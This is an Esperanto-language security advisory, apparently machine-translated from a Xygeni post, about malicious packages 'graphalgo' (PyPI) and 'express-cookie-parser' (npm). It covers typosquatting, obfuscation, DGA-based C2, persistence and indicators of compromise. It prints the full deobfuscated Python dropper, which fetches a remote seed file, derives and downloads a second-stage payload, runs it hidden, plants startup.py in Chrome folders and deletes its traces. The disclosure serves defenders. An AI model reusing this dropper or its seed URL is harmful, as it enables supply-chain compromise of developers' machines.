Xygeni ĵus observis maltrankviligan ŝablonon en la pejzaĝo de atakoj kontraŭ softvaraj provizoĉenoj en 2025., aperante tra du popularaj pakaĵadministriloj: PyPI kaj npmKiel parto de niaj daŭraj klopodoj pri minacospionado,Frua Averto pri Malica Programaro de Xygeni (MEW) ilo identigis apartan sed metodike similan ekzemplon de malica pakaĵo antaŭe alŝutita al alia registro. Ĉi tiu kazo elstarigas kiel minacaktoroj evoluas kaj reuzas atakteknikojn tra ekosistemoj, precipe per malicaj Python-pakaĵoj kaj malicaj npm-pakaĵoj, kio pliigas la riskon de malicaj pakaĵoj enpenetrantaj malfermfontajn provizĉenojn.
La MEW de Xygeni: Trovante la Similecojn
La ilo MEW de Xygeni estas konstruita por detekti kaj marki malicajn pakaĵojn, precipe tiujn ligitajn al Atakoj kontraŭ Programaro-Provizĉeno en 2025, tuj kiam ili estas publikigitaj al malfermitkodaj registroj. Ĝi funkcias analizante novajn pakaĵojn por suspektinda konduto.
En ĉi tiu kazo, ĝi identigis du malicaj Python-pakaĵoj (graphalgo sur PyPI) kaj malicaj npm-pakaĵoj (express-cookie-parser sur npm).
Malicaj Python kaj npm-pakaĵoj en atakoj kontraŭ programaro-provizoĉeno (2025)
Ni esploru la komunajn karakterizaĵojn, kiuj ekigis niajn alarmojn:
Tajpokvartado
Ili ambaŭ provis imiti popularajn ekzistantajn pakaĵojn.
- grafalgo (PyPI): "Python-pakaĵo por krei kaj manipuli grafeojn kaj retojn."Alŝutita de uzanto nomita "larrytech" la 13-an de junio 2025, ĉi tiu pakaĵo prezentis sin kiel PyPi-alternativon al la originala ne-malica projekto graphalgo, kiu poste estis renomita graphdict.
- ekspresa-kuketo-analizilo (npm)Ĉi tiu pakaĵo imitis la konatan pakaĵon "cookie parser", eĉ spegulante ĝian README.md. Tia imitado estas klasika taktiko por plibonigi ekzistantan fidon.
Malklarigado kiel Unua Defendlinio
Ambaŭ pakaĵoj malklarigis sian malican kodon ene de la originalaj dosieroj. Por grafalgo, la malklarigita kodo troviĝis ene de /utils/load_libraries.py. En la kazo de ekspresa-kuketo-analizilo, cookie-loader.min.js enhavis la malklarigitan utilan ŝarĝon.
Ĉi tiu komenca tavolo de malklarigo estas tipe uzata por malhelpi neformalan inspektadon kaj statikan analizon. La malklarigo estis sufiĉe simpla: ripeta ZLib-kunpremo plus Base64-kodado. Ĉi tiu tipo de malklarigo klare indikas, ke la programaro provas kaŝi sian konduton. Kune kun aliaj pruvoj, tio permesis al Xygeni MEW klasifiki la pakaĵojn kiel eblajn malicajn programojn. Dum la konfirma fazo, niaj recenzistoj senprokraste preparis malmalklarigan skripton, kiu rivelis la evidente malican faligilon.
Plurŝtupa Liverado de Utila Ŝarĝo kaj Komuna Originpunkto
Ambaŭ pakaĵoj funkciis kiel komencaj "gutigiloj", preparante la scenejon por la vera utila ŝarĝo. Ili havis komunan eksteran"semo"dosiera URL:"https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
Ĉi tiu identa ekstera semdosiero estas forta indikilo de komuna minacaktoro. Interese, la enhavo de ĉi tiu semdosiero ŝajnas esti simplaj mediaj variabloj (ekz., JWT_SECRET, PORT), eble misgvidaj pri inspektado de ĝia fakta funkcio.
Dinamika C2-Rezolucio kun DGA
Sofistika taktiko observita en ĉi tiuj malicaj pakaĵoj estas la uzo de Domajna Generacia Algoritmo (DGA) por dinamike solvi la Komando- kaj Kontrolo- (C2) servilon. Ĉi tiu tekniko, ofte vidata en progresintaj programaraj provizĉenaj atakoj en 2025, dependas de SHA256-haŝo derivita de la enhavo de la semdosiero, kombinita kun aliaj fikse koditaj valoroj. Farante tion, la C2-infrastrukturo ofte ŝanĝiĝas, igante tradician nigralistigon multe malpli efika. En ĉi tiu kazo, la npm-variaĵo uzis fiksan valoron de 496AAC7E kiel parto de ĝia DGA-logiko.
Establi Persistecon
Ambaŭ atakantoj celis establi daŭran ĉeeston sur la trafitaj sistemoj. Ilia strategio implikis faligi dosieron, startup.py (por PyPi) aŭ startup.js (por npm), en komunajn dosierujojn de uzantodatumoj de Google Chrome tra diversaj operaciumoj (Vindozo, Linukso, macOS).
Post-Ekzekuta Purigado
Por minimumigi spurojn, ambaŭ malicaj skriptoj plenumis purigadojn. Tio inkluzivis la forigon de iliaj komencaj dosieroj (load_libraries.py, cookie-loader.min.js) kaj modifante legitimajn pakaĵdosierojn (__init__.py, index.js) por forigi la referencojn al la nun forigitaj komponantoj.
Indikiloj de Kompromiso en Malicaj Python kaj npm Pakaĵoj
- PyPI-Pakaĵo: graphalgo (publikigita de larrytech, la 13-an de junio 2025)
- npm-Pakaĵo: express-cookie-parser (specife versio 1.4.12)
- Aliro al Kundividita Sema URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Konstantaj Dosiernomoj:
startup.py(Python)startup.js(JavaScript) - Komunaj Persistaj Vojoj (OS-dependaj)Ene de la uzantodatumaj dosierujoj de Google Chrome (ekz.
AppData\Local\Google\Chrome\UserData\Scripts\sur Vindozo,~/.config/google-chrome/Scripts/en Linukso, ktp.).
Kiel Defendi Kontraŭ Malicaj Pakaĵoj en Programaraj Provizoĉenaj Atakoj 2025
Rekomendita Aliro por Programistoj
Ĉi tiu okazaĵo servas kiel valora kazesploro en la evoluanta minacpejzaĝo de atakoj en la provizoĉeno de programaro en 2025. Ĝi elstarigas kiel malicaj Python-pakaĵoj kaj malicaj npm-pakaĵoj povas enŝteliĝi en fidindajn ekosistemojn, ofte evitante detekton ĝis estas tro malfrue. Tial frua detekto, inteligenta ilaro kaj proaktiva sistema higieno nun estas esencaj partoj de iu ajn sekura DevOps-laborfluo. Programistoj estas instigitaj konsideri la jenon:
Dependeca Revizio
Se viaj projektoj inkluzivis grafalgo or ekspresa-kuketo-analizilo, estus prudente daŭrigi per ilia forigo.
- Por PyPI:
pip uninstall graphalgo - Por npm:
npm uninstall express-cookie-parser
Sistemo Higieno
Konsideru fari ampleksan sisteman skanadon. Estas ankaŭ konsilinde permane kontroli la komunajn dosierujojn de uzantoj de Chrome por trovi iujn neatenditajn erarojn. startup.py or startup.js dosierojn.
Proaktivaj Sekurecaj Rimedoj
- Taksi Novajn DependecojnEstablu rutinon por plene taksi novajn pakaĵojn antaŭ integriĝo, fokusante sur tiujn de nekonataj eldonistoj.
- Integri Sekurecajn IlojnIloj kiel MEW de Xygeni, kune kun aliaj Analizoj de Programara Komponado (SCA) solvoj, povas provizi kritikan tavolon de defendo per identigo de suspektindaj kondutoj kaj vundeblecoj.
- Malplej PrivilegioFunkciigi evoluigajn mediojn kun la principo de malplej privilegio povas helpi limigi la eblan efikon de kompromiso.
- Reta KonscioMonitorado de eliranta rettrafiko por nekutimaj konektoj povas kelkfoje riveli DGA-generitajn C2-komunikadojn.
Ŝlosilaj Komponentoj de load_libraries.py (de grafalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): Pritraktas la prenadon de dosieroj de specifaj URL-oj.run_process(): Plenumas eksterajn Python-skriptojn aparte, subpremante la eligon por resti diskreta.get_output_file_path(): Determinas la idealan sistemlokon por la persista startup.py dosiero.remove_self(): Orkestras la post-ekzekutan purigadon de la komencaj malicaj dosieroj kaj pakaĵmodifoj.simple_shift_encrypt()/simple_shift_decrypt()Specialaj kriptografiaj funkcioj por obskuri komunikkanalojn, esencaj por la DGA-efektivigo.load_libraries()La centra funkcio kiu kunordigas la tutan plurŝtupan procezon, de la komenca elŝuto ĝis la fina plenumo kaj purigo de la utila ŝarĝo.
Konsekvencoj
Kiel ĉe aliaj eble malicaj pakaĵoj identigitaj de MEW, la dependeca fajromuro tuj protektis uzantojn, kiuj inkludus ĉi tiujn malicajn pakaĵojn en siajn dependecojn. Post konfirmo, ni sekvis la sciigajn procedurojn por ambaŭ registroj, kiuj post revizio forigis ambaŭ pakaĵojn.







